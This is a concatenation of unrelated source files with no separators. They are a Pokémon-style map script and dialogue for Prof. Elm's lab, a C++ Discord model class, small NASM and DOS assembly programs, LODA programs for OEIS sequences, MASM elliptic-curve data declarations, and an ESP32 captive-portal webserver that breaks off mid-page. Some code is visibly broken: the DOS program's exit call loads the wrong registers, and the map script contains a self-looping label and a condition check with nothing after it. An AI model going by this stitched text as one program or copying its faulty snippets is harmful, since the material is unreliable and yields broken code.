ENGINE_RISINGBADGE iftrue ElmGiveMasterBallScript ElmCheckEverstone: checkevent EVENT_GOT_EVERSTONE_FROM_ELM iftrue ElmScript_CallYou checkevent EVENT_SHOWED_TOGEPI_TO_ELM iftrue ElmGiveEverstoneScript checkevent EVENT_TOLD_ELM_ABOUT_TOGEPI_OVER_THE_PHONE iffalse ElmCheckTogepiEgg loadmonindex 1, TOGEPI special FindPartyMonThatSpeciesYourTrainerID iftrue ShowElmTogepiScript loadmonindex 2, TOGETIC special FindPartyMonThatSpeciesYourTrainerID iftrue ShowElmTogepiScript writetext ElmThoughtEggHatchedText waitbutton closetext end ElmEggHatchedScript: loadmonindex 1, TOGEPI special FindPartyMonThatSpeciesYourTrainerID iftrue ShowElmTogepiScript loadmonindex 2, TOGETIC special FindPartyMonThatSpeciesYourTrainerID iftrue ShowElmTogepiScript sjump ElmCheckGotEggAgain ElmCheckTogepiEgg: checkevent EVENT_GOT_TOGEPI_EGG_FROM_ELMS_AIDE iffalse ElmCheckGotEggAgain checkevent EVENT_TOGEPI_HATCHED iftrue ElmEggHatchedScript ElmCheckGotEggAgain: checkevent EVENT_GOT_TOGEPI_EGG_FROM_ELMS_AIDE ; why are we checking it again? iftrue ElmWaitingEggHatchScript checkflag ENGINE_ZEPHYRBADGE iftrue ElmAideHasEggScript checkevent EVENT_GAVE_MYSTERY_EGG_TO_ELM iftrue ElmStudyingEggScript checkevent EVENT_GOT_MYSTERY_EGG_FROM_MR_POKEMON iftrue ElmAfterTheftScript checkevent EVENT_GOT_A_POKEMON_FROM_ELM iftrue ElmDescribesMrPokemonScript writetext ElmText_LetYourMonBattleIt waitbutton closetext end LabTryToLeaveScript: turnobject ELMSLAB_ELM, DOWN opentext writetext LabWhereGoingText waitbutton closetext applymovement PLAYER, ElmsLab_CantLeaveMovement end CyndaquilPokeBallScript: checkscene iffalse LookAtElmPokeBallScript checkevent EVENT_GOT_A_POKEMON_FROM_ELM iftrue LookAtElmPokeBallScript turnobject ELMSLAB_ELM, DOWN refreshscreen pokepic CYNDAQUIL cry CYNDAQUIL waitbutton closepokepic opentext writetext TakeCyndaquilText yesorno iffalse DidntChooseStarterScript disappear ELMSLAB_POKE_BALL1 setevent EVENT_GOT_CYNDAQUIL_FROM_ELM writetext ChoseStarterText buttonsound waitsfx getmonname STRING_BUFFER_3, CYNDAQUIL writetext ReceivedStarterText playsound SFX_CAUGHT_MON waitsfx buttonsound givepoke CYNDAQUIL, 5, BERRY closetext applymovement ELMENTRANCE_SILVER, SilverGetTotodileMovement opentext writetext Text_SilverTakeThisOne waitbutton closetext disappear ELMSLAB_POKE_BALL2 opentext writetext Text_SilverGetTotodile playsound SFX_CAUGHT_MON waitsfx buttonsound closetext readvar VAR_FACING ifequal RIGHT, ElmDirectionsScript applymovement PLAYER, AfterCyndaquilMovement sjump ElmDirectionsScript TotodilePokeBallScript: checkscene iffalse LookAtElmPokeBallScript checkevent EVENT_GOT_A_POKEMON_FROM_ELM iftrue LookAtElmPokeBallScript turnobject ELMSLAB_ELM, DOWN refreshscreen pokepic TOTODILE cry TOTODILE waitbutton closepokepic opentext writetext TakeTotodileText yesorno iffalse DidntChooseStarterScript disappear ELMSLAB_POKE_BALL2 setevent EVENT_GOT_TOTODILE_FROM_ELM writetext ChoseStarterText buttonsound waitsfx getmonname STRING_BUFFER_3, TOTODILE writetext ReceivedStarterText playsound SFX_CAUGHT_MON waitsfx buttonsound givepoke TOTODILE, 5, BERRY closetext applymovement ELMENTRANCE_SILVER, SilverGetChikoritaMovement opentext writetext Text_SilverTakeThisOne waitbutton closetext disappear ELMSLAB_POKE_BALL3 opentext writetext Text_SilverGetChikorita playsound SFX_CAUGHT_MON waitsfx buttonsound closetext applymovement PLAYER, AfterTotodileMovement sjump ElmDirectionsScript ChikoritaPokeBallScript: checkscene iffalse LookAtElmPokeBallScript checkevent EVENT_GOT_A_POKEMON_FROM_ELM iftrue LookAtElmPokeBallScript turnobject ELMSLAB_ELM, DOWN refreshscreen pokepic CHIKORITA cry CHIKORITA waitbutton closepokepic opentext writetext TakeChikoritaText yesorno iffalse DidntChooseStarterScript disappear ELMSLAB_POKE_BALL3 setevent EVENT_GOT_CHIKORITA_FROM_ELM writetext ChoseStarterText buttonsound waitsfx getmonname STRING_BUFFER_3, CHIKORITA writetext ReceivedStarterText playsound SFX_CAUGHT_MON waitsfx buttonsound givepoke CHIKORITA, 5, BERRY closetext applymovement ELMENTRANCE_SILVER, SilverGetCyndaquilMovement opentext writetext Text_SilverTakeThisOne waitbutton closetext disappear ELMSLAB_POKE_BALL1 opentext writetext Text_SilverGetCyndaquil playsound SFX_CAUGHT_MON waitsfx buttonsound closetext applymovement PLAYER, AfterChikoritaMovement sjump ElmDirectionsScript DidntChooseStarterScript: writetext DidntChooseStarterText waitbutton closetext end ElmDirectionsScript: turnobject PLAYER, UP opentext writetext ElmDirectionsText1 waitbutton closetext addcellnum PHONE_ELM opentext writetext GotElmsNumberText playsound SFX_REGISTER_PHONE_NUMBER waitsfx waitbutton closetext turnobject ELMSLAB_ELM, LEFT opentext writetext ElmDirectionsText2 waitbutton closetext turnobject ELMSLAB_ELM, DOWN opentext writetext ElmDirectionsText3 waitbutton closetext setevent EVENT_GOT_A_POKEMON_FROM_ELM setscene SCENE_ELM_ENTRANCE_BATTLE setscene SCENE_ELMSLAB_AIDE_GIVES_POTION setmapscene NEW_BARK_TOWN, SCENE_FINISHED reloadmap end ElmDescribesMrPokemonScript: writetext ElmDescribesMrPokemonText waitbutton closetext end LookAtElmPokeBallScript: opentext writetext ElmPokeBallText waitbutton closetext end ElmsLabHealingMachine: opentext checkevent EVENT_GOT_A_POKEMON_FROM_ELM iftrue .CanHeal writetext ElmsLabHealingMachineText1 waitbutton closetext end .CanHeal: writetext ElmsLabHealingMachineText2 yesorno iftrue ElmsLabHealingMachine_HealParty closetext end ElmsLabHealingMachine_HealParty: special StubbedTrainerRankings_Healings special HealParty playmusic MUSIC_NONE setval HEALMACHINE_ELMS_LAB special HealMachineAnim pause 30 special RestartMapMusic closetext end ElmAfterTheftDoneScript: waitbutton closetext end ElmAfterTheftScript: writetext ElmAfterTheftText1 checkitem ELMS_EGG iffalse ElmAfterTheftDoneScript buttonsound writetext ElmAfterTheftText2 waitbutton takeitem ELMS_EGG scall ElmJumpBackScript1 writetext ElmAfterTheftText3 waitbutton scall ElmJumpBackScript2 writetext ElmAfterTheftText4 buttonsound writetext ElmAfterTheftText5 buttonsound setevent EVENT_GAVE_MYSTERY_EGG_TO_ELM setflag ENGINE_MAIN_MENU_MOBILE_CHOICES setmapscene ROUTE_29, SCENE_ROUTE29_CATCH_TUTORIAL clearevent EVENT_ROUTE_30_YOUNGSTER_JOEY setevent EVENT_ROUTE_30_BATTLE writetext ElmAfterTheftText6 waitbutton closetext setscene SCENE_ELMSLAB_AIDE_GIVES_POKE_BALLS end ElmStudyingEggScript: writetext ElmStudyingEggText waitbutton closetext end ElmAideHasEggScript: writetext ElmAideHasEggText waitbutton closetext end ElmWaitingEggHatchScript: writetext ElmWaitingEggHatchText waitbutton closetext end ShowElmTogepiScript: writetext ShowElmTogepiText1 waitbutton closetext showemote EMOTE_SHOCK, ELMSLAB_ELM, 15 setevent EVENT_SHOWED_TOGEPI_TO_ELM opentext writetext ShowElmTogepiText2 buttonsound writetext ShowElmTogepiText3 buttonsound ElmGiveEverstoneScript: writetext ElmGiveEverstoneText1 buttonsound verbosegiveitem EVERSTONE iffalse ElmScript_NoRoomForEverstone writetext ElmGiveEverstoneText2 waitbutton closetext setevent EVENT_GOT_EVERSTONE_FROM_ELM end ElmScript_CallYou: writetext ElmText_CallYou waitbutton ElmScript_NoRoomForEverstone: closetext end ElmGiveMasterBallScript: writetext ElmGiveMasterBallText1 buttonsound verbosegiveitem MASTER_BALL iffalse .notdone setevent EVENT_GOT_MASTER_BALL_FROM_ELM writetext ElmGiveMasterBallText2 waitbutton .notdone closetext end ElmGiveTicketScript: writetext ElmGiveTicketText1 buttonsound verbosegiveitem S_S_TICKET setevent EVENT_GOT_SS_TICKET_FROM_ELM writetext ElmGiveTicketText2 waitbutton closetext end ElmJumpBackScript1: closetext readvar VAR_FACING ifequal DOWN, ElmJumpDownScript ifequal UP, ElmJumpUpScript ifequal LEFT, ElmJumpLeftScript ifequal RIGHT, ElmJumpRightScript end ElmJumpBackScript2: closetext readvar VAR_FACING ifequal DOWN, ElmJumpUpScript ifequal UP, ElmJumpDownScript ifequal LEFT, ElmJumpRightScript ifequal RIGHT, ElmJumpLeftScript end ElmJumpUpScript: applymovement ELMSLAB_ELM, ElmJumpUpMovement opentext end ElmJumpDownScript: applymovement ELMSLAB_ELM, ElmJumpDownMovement opentext end ElmJumpLeftScript: applymovement ELMSLAB_ELM, ElmJumpLeftMovement opentext end ElmJumpRightScript: applymovement ELMSLAB_ELM, ElmJumpRightMovement opentext end AideScript_WalkPotion1: applymovement ELMSLAB_ELMS_AIDE, AideWalksRight1 turnobject PLAYER, DOWN scall AideScript_GivePotion applymovement ELMSLAB_ELMS_AIDE, AideWalksLeft1 end AideScript_WalkPotion2: applymovement ELMSLAB_ELMS_AIDE, AideWalksRight2 turnobject PLAYER, DOWN scall AideScript_GivePotion applymovement ELMSLAB_ELMS_AIDE, AideWalksLeft2 end AideScript_GivePotion: opentext writetext AideText_GiveYouPotion buttonsound verbosegiveitem POTION writetext AideText_AlwaysBusy waitbutton closetext setscene SCENE_ELMSLAB_NOTHING end AideScript_WalkBalls1: applymovement ELMSLAB_ELMS_AIDE, AideWalksRight1 turnobject PLAYER, DOWN scall AideScript_GiveYouBalls applymovement ELMSLAB_ELMS_AIDE, AideWalksLeft1 end AideScript_WalkBalls2: applymovement ELMSLAB_ELMS_AIDE, AideWalksRight2 turnobject PLAYER, DOWN scall AideScript_GiveYouBalls applymovement ELMSLAB_ELMS_AIDE, AideWalksLeft2 end AideScript_ExplainBalls: writetext AideText_ExplainBalls waitbutton closetext end AideScript_GiveYouBalls: opentext writetext AideText_GiveYouBalls buttonsound getitemname STRING_BUFFER_4, POKE_BALL scall AideScript_ReceiveTheBalls giveitem POKE_BALL, 5 writetext AideText_ExplainBalls buttonsound itemnotify closetext setscene SCENE_ELMSLAB_NOTHING end AideScript_ReceiveTheBalls: jumpstd receiveitem end ElmsAideScript: faceplayer opentext checkevent EVENT_GOT_TOGEPI_EGG_FROM_ELMS_AIDE iftrue AideText_AlwaysBusy checkevent EVENT_GAVE_MYSTERY_EGG_TO_ELM iftrue AideScript_ExplainBalls checkevent EVENT_GOT_MYSTERY_EGG_FROM_MR_POKEMON writetext AideText_AlwaysBusy waitbutton closetext end ElmsLabWindow: opentext writetext ElmsLabWindowText1 waitbutton closetext ElmsLabTravelTip1: jumptext ElmsLabTravelTip1Text ElmsLabTravelTip2: jumptext ElmsLabTravelTip2Text ElmsLabTravelTip3: jumptext ElmsLabTravelTip3Text ElmsLabTravelTip4: jumptext ElmsLabTravelTip4Text ElmsLabTrashcan: jumptext ElmsLabTrashcanText ElmsLabPC: jumptext ElmsLabPCText SilverGetCyndaquilMovement: step RIGHT turn_head UP step_end SilverGetChikoritaMovement: step RIGHT step DOWN step RIGHT step RIGHT step UP step_end SilverGetTotodileMovement: step DOWN step RIGHT step RIGHT step UP step_end ElmsLabTrashcan2: ; unused jumpstd trashcan ElmsLabBookshelf: jumpstd difficultbookshelf ElmsLabSilverScript: checkscene iftrue .letPlayerChoose jumptextfaceplayer ElmsLabSilverText .letPlayerChoose jumptextfaceplayer ElmsLabSilverText2 ElmsLabSilverScript3: checkevent EVENT_GOT_A_POKEMON_FROM_ELM iftrue ElmsLabSilverScript3 jumptextfaceplayer Text_Best SilverLeavesLab: step LEFT step DOWN step DOWN step DOWN step DOWN step DOWN step DOWN step_end Movement_SilverDownOne: step DOWN return step_end Movement_SilverDownTwo: step DOWN step DOWN return step_end Movement_DownOne: step DOWN turn_head UP step_end ElmsLab_WalkUpToPCMovement: step UP step UP step UP step UP step UP step UP step_end ElmsLab_WalkUpToPC2Movement: step LEFT turn_head DOWN step_end ElmsLab_CantLeaveMovement: step UP step_end AideWalksRight1: step RIGHT step RIGHT turn_head UP step_end AideWalksRight2: step RIGHT step RIGHT step RIGHT turn_head UP step_end AideWalksLeft1: step LEFT step LEFT turn_head DOWN step_end AideWalksLeft2: step LEFT step LEFT step LEFT turn_head DOWN step_end ElmJumpUpMovement: fix_facing big_step UP remove_fixed_facing step_end ElmJumpDownMovement: fix_facing big_step DOWN remove_fixed_facing step_end ElmJumpLeftMovement: fix_facing big_step LEFT remove_fixed_facing step_end ElmJumpRightMovement: fix_facing big_step RIGHT remove_fixed_facing step_end ElmsLab_ElmToDefaultPositionMovement1: step UP step_end ElmsLab_ElmToDefaultPositionMovement2: step RIGHT step RIGHT step UP turn_head DOWN step_end AfterCyndaquilMovement: step LEFT step UP step_end AfterTotodileMovement: step LEFT step LEFT step UP step_end AfterChikoritaMovement: step DOWN step LEFT step LEFT step LEFT step UP step UP step_end Text_SilverTakeThisOne: text "This #MON looks" line "strong!" para "I will take this" line "one." done Text_SilverGetCyndaquil: text "<RIVAL> received" line "CYNDAQUIL!" done Text_SilverGetChikorita: text "<RIVAL> received" line "CHIKORITA!" done Text_SilverGetTotodile: text "<RIVAL> received" line "TOTODILE!" done ElmsLabSilverText: text "Yo <PLAY_G>!" para "Looks like PROF." line "ELM isn't here!" para "I wonder when" line "he would have" para "expected us to" line "show up!" done ElmsLabSilverText2: text "Whatever #MON" line "I have, I'll be" para "sure to be better" line "than you, <PLAY_G>!" done ElmText_Intro: text "Finally! We're all" line "together now!" para "<RIVAL>: ELM!" line "What took you so" cont "long? I've been" para "waiting here for" line "hours!" done ElmText_ResearchAmbitions: text "ELM: Calm" line "yourself, <RIVAL>." cont "No need to stay" para "impatient, as you" line "two are finally" cont "going to get your" para "own #MON!" done SilverEmailShock: text "<RIVAL>: Hey," line "ELM. What's with" cont "your computer?" done ElmText_MissionFromMrPokemon: text"ELM: Hmm…" para "Well, I just got" line "an email from a" cont "colleague of mine," para "MR. #MON. He" line "says he's done" cont "studying an EGG" para "I sent him a few" line "weeks ago." para "Normally, I would" line "go get the EGG" cont "myself, but I'm" para "too busy writing" line "a paper for a" cont "conference in" para "SAFFRON and" line "preparing for a" cont "lengthy trip" para "outside of the" line "LAB to go get it." para "Wait!" para "I know!" para "Since you two are" line "going to pass by" cont "MR. #MON's" para "house, one of you" line "two can get it for" cont "me!" para "<RIVAL>: Well," line "that sounds like" cont "the perfect job" para "for <PLAY_G>!" line "Sorry, <PLAY_G>," cont "but I'm way too" para "excited to run" line "such a boring" cont "errand!" para "I've got a huge" line "adventure to" cont "go on, you know!" para "ELM: Er…well then." done ElmText_ChooseAPokemon: text "<PLAY_G>, I guess" line "you'll go to MR." para "#MON's house." line "His place is on" cont "ROUTE 31, on top" para "of a hill. You" line "can't miss it." cont "But first, you'll" para "need to pick a" line "#MON to aid you" cont "on your journeys" para "ahead. And since" line "you were a bit…" para "forced into" line "taking on this" cont "task, you can" para "pick first." done ElmText_LetYourMonBattleIt: text "If a wild #MON" line "appears, let your" cont "#MON battle it!" done LabWhereGoingText: text "ELM: Wait! Where" line "are you going?" done TakeCyndaquilText: text "ELM: You'll take" line "CYNDAQUIL, the" cont "fire #MON?" done TakeTotodileText: text "ELM: Do you want" line "TOTODILE, the" cont "water #MON?" done TakeChikoritaText: text "ELM: So, you like" line "CHIKORITA, the" cont "grass #MON?" done DidntChooseStarterText: text "ELM: Think it over" line "carefully." para "Your partner is" line "important." done ChoseStarterText: text "ELM: I think" line "that's a great" cont "#MON too!" done ReceivedStarterText: text "<PLAYER> received" line "@" text_ram wStringBuffer3 text "!" done ElmDirectionsText1: text "Alright!" para "Remember, his" line "house is on ROUTE" cont "31." para "If you see anyone" line "raving on about" cont "strange findings" para "around there," line "it's probably him." para "If you find a" line "need to contact" cont "me, here's my" para "number. Call me" line "if anything comes" cont "up!" done ElmDirectionsText2: text "If your #MON is" line "hurt, you should" para "heal it with this" line "machine." para "Feel free to use" line "it anytime." done ElmDirectionsText3: text "Good luck!" done Text_Best: text "My #MON is" line "gonna be the best" cont "one!" done GotElmsNumberText: text "<PLAYER> got ELM's" line "phone number." done ElmDescribesMrPokemonText: text "Remember, his" line "house is on ROUTE" cont "31." para "If you see anyone" line "raving on about" cont "strange findings" para "around there," line "it's probably him." para "Good luck!" done ElmPokeBallText: text "It contains a" line "#MON caught by" cont "PROF.ELM." done ElmsLabHealingMachineText1: text "I wonder what this" line "does?" done ElmsLabHealingMachineText2: text "Would you like to" line "heal your #MON?" done ElmAfterTheftText1: text "ELM: <PLAY_G>, this" line "is terrible…" para "Oh, yes, what was" line "MR.#MON's big" cont "discovery?" done ElmAfterTheftText2: text "<PLAYER> handed" line "the MYSTERY EGG to" cont "PROF.ELM." done ElmAfterTheftText3: text "ELM: This?" done ElmAfterTheftText4: text "But… Is it a" line "#MON EGG?" para "If it is, it is a" line "great discovery!" done ElmAfterTheftText5: text "ELM: What?!?" para "PROF.OAK gave you" line "a #DEX?" para "<PLAY_G>, is that" line "true? Th-that's" cont "incredible!" para "He is superb at" line "seeing the poten-" cont "tial of people as" cont "trainers." para "Wow, <PLAY_G>. You" line "may have what it" para "takes to become" line "the CHAMPION." para "You seem to be" line "getting on great" cont "with #MON too." para "You should take" line "the #MON GYM" cont "challenge." para "The closest GYM" line "would be the one" cont "in CHERRYGROVE" para "CITY." done ElmAfterTheftText6: text "…<PLAY_G>. The" line "road to the" para "championship will" line "be a long one." para "Before you leave," line "make sure that you" cont "talk to your mom." done ElmStudyingEggText: text "ELM: Don't give" line "up! I'll call if" para "I learn anything" line "about that EGG!" done ElmAideHasEggText: text "ELM: <PLAY_G>?" line "Didn't you meet my" cont "assistant?" para "He should have met" line "you with the EGG" para "at VIOLET CITY's" line "#MON CENTER." para "You must have just" line "missed him. Try to" cont "catch him there." done ElmWaitingEggHatchText: text "ELM: Hey, has that" line "EGG changed any?" done ElmThoughtEggHatchedText: text "<PLAY_G>? I thought" line "the EGG hatched." para "Where is the" line "#MON?" done ShowElmTogepiText1: text "ELM: <PLAY_G>, you" line "look great!" done ShowElmTogepiText2: text "What?" line "That #MON!?!" done ShowElmTogepiText3: text "The EGG hatched!" line "So, #MON are" cont "born from EGGS…" para "No, perhaps not" line "all #MON are." para "Wow, there's still" line "a lot of research" cont "to be done." done ElmGiveEverstoneText1: text "Thanks, <PLAY_G>!" line "You're helping" para "unravel #MON" line "mysteries for us!" para "I want you to have" line "this as a token of" cont "our appreciation." done ElmGiveEverstoneText2: text "That's an" line "EVERSTONE." para "Some species of" line "#MON evolve" para "when they grow to" line "certain levels." para "A #MON holding" line "the EVERSTONE" cont "won't evolve." para "Give it to a #-" line "MON you don't want" cont "to evolve." done ElmText_CallYou: text "ELM: <PLAY_G>, I'll" line "call you if any-" cont "thing comes up." done AideText_AfterTheft: text "…sigh… That" line "stolen #MON." para "I wonder how it's" line "doing." para "They say a #MON" line "raised by a bad" para "person turns bad" line "itself." done ElmGiveMasterBallText1: text "ELM: Hi, <PLAY_G>!" line "Thanks to you, my" para "research is going" line "great!" para "Take this as a" line "token of my" cont "appreciation." done ElmGiveMasterBallText2: text "The MASTER BALL is" line "the best!" para "It's the ultimate" line "BALL! It'll catch" para "any #MON with-" line "out fail." para "It's given only to" line "recognized #MON" cont "researchers." para "I think you can" line "make much better" para "use of it than I" line "can, <PLAY_G>!" done ElmGiveTicketText1: text "ELM: <PLAY_G>!" line "There you are!" para "I called because I" line "have something for" cont "you." para "See? It's an" line "S.S.TICKET." para "Now you can catch" line "#MON in KANTO." done ElmGiveTicketText2: text "The ship departs" line "from OLIVINE CITY." para "But you knew that" line "already, <PLAY_G>." para "After all, you've" line "traveled all over" cont "with your #MON." para "Give my regards to" line "PROF.OAK in KANTO!" done ElmsLabSignpostText_Egg: text "It's the #MON" line "EGG being studied" cont "by PROF.ELM." done AideText_GiveYouPotion: text "<PLAY_G>, I want" line "you to have this" cont "for your errand." done AideText_AlwaysBusy: text "There are only two" line "of us, so we're" cont "always busy." done AideText_GiveYouBalls: text "<PLAY_G>!" para "Use these on your" line "#DEX quest!" done AideText_ExplainBalls: text "To add to your" line "#DEX, you have" cont "to catch #MON." para "Throw # BALLS" line "at wild #MON" cont "to get them." done ElmsLabWindowText1: text "The window's open." para "A pleasant breeze" line "is blowing in." done ElmsLabTravelTip1Text: text "<PLAYER> opened a" line "book." para "Travel Tip 1:" para "Press START to" line "open the MENU." done ElmsLabTravelTip2Text: text "<PLAYER> opened a" line "book." para "Travel Tip 2:" para "Record your trip" line "with SAVE!" done ElmsLabTravelTip3Text: text "<PLAYER> opened a" line "book." para "Travel Tip 3:" para "Open your PACK and" line "press SELECT to" cont "move items." done ElmsLabTravelTip4Text: text "<PLAYER> opened a" line "book." para "Travel Tip 4:" para "Check your #MON" line "moves. Press the" para "A Button to switch" line "moves." done ElmsLabTrashcanText: text "The wrapper from" line "the snack PROF.ELM" cont "ate is in there…" done ElmsLabPCText: text "OBSERVATIONS ON" line "#MON EVOLUTION" para "…It says on the" line "screen…" done ElmsLab_MapEvents: db 0, 0 ; filler db 2 ; warp events warp_event 4, 11, NEW_BARK_TOWN, 1 warp_event 5, 11, NEW_BARK_TOWN, 1 db 6 ; coord events coord_event 4, 6, SCENE_ELMSLAB_CANT_LEAVE, LabTryToLeaveScript coord_event 5, 6, SCENE_ELMSLAB_CANT_LEAVE, LabTryToLeaveScript coord_event 4, 8, SCENE_ELMSLAB_AIDE_GIVES_POTION, AideScript_WalkPotion1 coord_event 5, 8, SCENE_ELMSLAB_AIDE_GIVES_POTION, AideScript_WalkPotion2 coord_event 4, 8, SCENE_ELMSLAB_AIDE_GIVES_POKE_BALLS, AideScript_WalkBalls1 coord_event 5, 8, SCENE_ELMSLAB_AIDE_GIVES_POKE_BALLS, AideScript_WalkBalls2 db 16 ; bg events bg_event 2, 1, BGEVENT_READ, ElmsLabHealingMachine bg_event 6, 1, BGEVENT_READ, ElmsLabBookshelf bg_event 7, 1, BGEVENT_READ, ElmsLabBookshelf bg_event 8, 1, BGEVENT_READ, ElmsLabBookshelf bg_event 9, 1, BGEVENT_READ, ElmsLabBookshelf bg_event 0, 7, BGEVENT_READ, ElmsLabTravelTip1 bg_event 1, 7, BGEVENT_READ, ElmsLabTravelTip2 bg_event 2, 7, BGEVENT_READ, ElmsLabTravelTip3 bg_event 3, 7, BGEVENT_READ, ElmsLabTravelTip4 bg_event 6, 7, BGEVENT_READ, ElmsLabBookshelf bg_event 7, 7, BGEVENT_READ, ElmsLabBookshelf bg_event 8, 7, BGEVENT_READ, ElmsLabBookshelf bg_event 9, 7, BGEVENT_READ, ElmsLabBookshelf bg_event 9, 3, BGEVENT_READ, ElmsLabTrashcan bg_event 5, 0, BGEVENT_READ, ElmsLabWindow bg_event 3, 5, BGEVENT_DOWN, ElmsLabPC db 6 ; object events object_event 5, 2, SPRITE_ELM, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, ProfElmScript, -1 object_event 2, 9, SPRITE_SCIENTIST, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, ElmsAideScript, EVENT_ELMS_AIDE_IN_LAB object_event 6, 3, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, CyndaquilPokeBallScript, EVENT_CYNDAQUIL_POKEBALL_IN_ELMS_LAB object_event 7, 3, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, TotodilePokeBallScript, EVENT_TOTODILE_POKEBALL_IN_ELMS_LAB object_event 8, 3, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, ChikoritaPokeBallScript, EVENT_CHIKORITA_POKEBALL_IN_ELMS_LAB object_event 5, 4, SPRITE_SILVER, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, ElmsLabSilverScript, EVENT_RIVAL_ELMS_LAB
#include <string> #include <disccord/models/invite_channel.hpp> namespace disccord { namespace models { invite_channel::invite_channel() : entity(), name(""), type(0) { } invite_channel::~invite_channel() { } void invite_channel::decode(web::json::value json) { entity::decode(json); name = json.at("name").as_string(); type = json.at("type").as_integer(); } void invite_channel::encode_to( std::unordered_map<std::string, web::json::value> &info) { entity::encode_to(info); info["name"] = web::json::value(get_name()); info["type"] = web::json::value(get_type()); } #define define_get_method(field_name) \ decltype(invite_channel::field_name) \ invite_channel::get_##field_name() { \ return field_name; \ } define_get_method(name) define_get_method(type) #undef define_get_method } }
SECTION .data hello: db 'Hello world!', 10 len: equ $-hello SECTION .text GLOBAL _start _start: mov eax, 4 mov ebx, 1 mov ecx, hello mov edx, len int 80h mov eax, 1 mov ebx, 0 int 80h
; A346202: a(n) = L(n)^2, where L is Liouville's function. ; Submitted by Jamie Morken(s2) ; 1,0,1,0,1,0,1,4,1,0,1,4,9,4,1,0,1,4,9,16,9,4,9,4,1,0,1,4,9,16,25,36,25,16,9,4,9,4,1,0,1,4,9,16,25,16,25,36,25,36,25,36,49,36,25,16,9,4,9,4,9,4,9,4,1,4,9,16,9,16,25,36,49,36,49,64,49 add $0,1 seq $0,2819 ; Liouville's function L(n) = partial sums of A008836. pow $0,2
.686p .mmx .model flat,stdcall option casemap:none option prologue:none option epilogue:none include ..\..\lib\gfp.inc include ..\..\lib\ecp.inc PUBLIC KEY_PRVKEY PUBLIC intE PUBLIC intK PUBLIC signR PUBLIC signS PUBLIC intU1 PUBLIC intU2 PUBLIC msgDigest PUBLIC pointH PUBLIC pointI PUBLIC pointJ .data? intE BIGINT<> intK BIGINT<> intU1 BIGINT<> intU2 BIGINT<> signR BIGINT<> signS BIGINT<> dd ? ;SPACE FOR base64 OVERFLOW!! KEY_PRVKEY BIGINT<> dd ? ;SPACE FOR base64 OVERFLOW!! msgDigest db 20 dup (?) pointH ECPOINT<> pointJ ECPOINT<> pointI ECPOINT<> dd ? ;SPACE FOR base64 OVERFLOW!! end
title pgm:which one comes first in ascii .model small .stack 100h .data .code main proc mov bh,'c' mov bl,'b' mov ah,2 cmp bh,bl jnbe else mov dl,bh jmp display else: mov dl,bl display: int 21h ;exit to dos mov ah,9 mov dl, 4Ch int 21h main endp end main
; A017465: a(n) = (11*n + 6)^5. ; 7776,1419857,17210368,90224199,312500000,844596301,1934917632,3939040643,7339040224,12762815625,21003416576,33038369407,50049003168,73439775749,104857600000,146211169851,199690286432,267785184193,353305857024,459401384375,589579257376,747724704957,938120019968,1165463885299,1434890700000,1751989905401,2122825311232,2553954421743,3052447761824,3625908203125,4282490290176,5030919566507,5880511900768,6841192812849,7923516800000,9138686662951,10498572832032,12015732693293,13703429914624 mul $0,11 add $0,6 pow $0,5
/** * @file webserver.cpp * @author Nicholas Polledri * @version 1.0 * @date 09-08-2020 * * @brief Webserver functions */ // Include libraries #include <Arduino.h> #include "config.h" #include "typedefs.h" #include "webserver.h" #include <WiFi.h> #include <FS.h> #include <AsyncTCP.h> #include <ESPAsyncWebServer.h> #include <DNSServer.h> #include "L2.h" #include "L3.h" #include "message.h" char wifi_ssid[20]; AsyncWebServer webServer(80); DNSServer dnsServer; // Imported variables extern char node_name[16]; // Variables char recipient[16] = "Broadcast"; // IP IPAddress ap_local_IP(1, 1, 1, 1); IPAddress ap_subnet(255, 255, 255, 0); // Private Functions String index_html(); // Functions /** * @brief Initializes webserver * */ void webserver_init() { sprintf(wifi_ssid, "%s %-2d", WIFISSID, NODENUMBER); WiFi.mode(WIFI_AP); WiFi.softAP(wifi_ssid); delay(2000); WiFi.softAPConfig(ap_local_IP, ap_local_IP, ap_subnet); dnsServer.start(DNSPORT, "*", ap_local_IP); webServer.on("/", [](AsyncWebServerRequest *request) { request->send(200, "text/html", index_html()); }); webServer.on("/generate_204", [](AsyncWebServerRequest *request) { request->send(200, "text/html", index_html()); }); webServer.on("/captive-portal/api", [](AsyncWebServerRequest *request) { request->send(200, "text/html", index_html()); }); webServer.on("/rename", HTTP_POST, [](AsyncWebServerRequest *request) { AsyncWebParameter *p = request->getParam(0); if (strlen(p->value().c_str()) > 0 && strlen(p->value().c_str()) < 15) { if (strcmp(p->value().c_str(), "Broadcast") != 0 && strcmp(p->value().c_str(), "broadcast") != 0) { strcpy(node_name, p->value().c_str()); L3_updateNode(); L2_sendAnnounce(); } } request->redirect("/"); }); webServer.on("/send", HTTP_POST, [](AsyncWebServerRequest *request) { { AsyncWebParameter *p = request->getParam(0); if (strlen(p->value().c_str()) > 0 && strlen(p->value().c_str()) < 15) { strcpy(recipient, p->value().c_str()); } } { AsyncWebParameter *p = request->getParam(1); if (strlen(p->value().c_str()) > 0 && strlen(p->value().c_str()) < 160) { L2_sendMessage(L3_getNodeNumber(recipient), const_cast<char *>(p->value().c_str())); } } request->redirect("/"); }); webServer.on("/refresh", [](AsyncWebServerRequest *request) { request->redirect("/"); }); webServer.begin(); return; } /** * @brief Processes dns requests * */ void webserver_loop() { dnsServer.processNextRequest(); } /** * @brief Creates a string containg the web page * * @return String */ String index_html() { String html = "<!DOCTYPE html><html>" "<head><title>LoRaMessenger</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>article { background: #f2f2f2; padding: 1em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0; }" "input { border-radius: 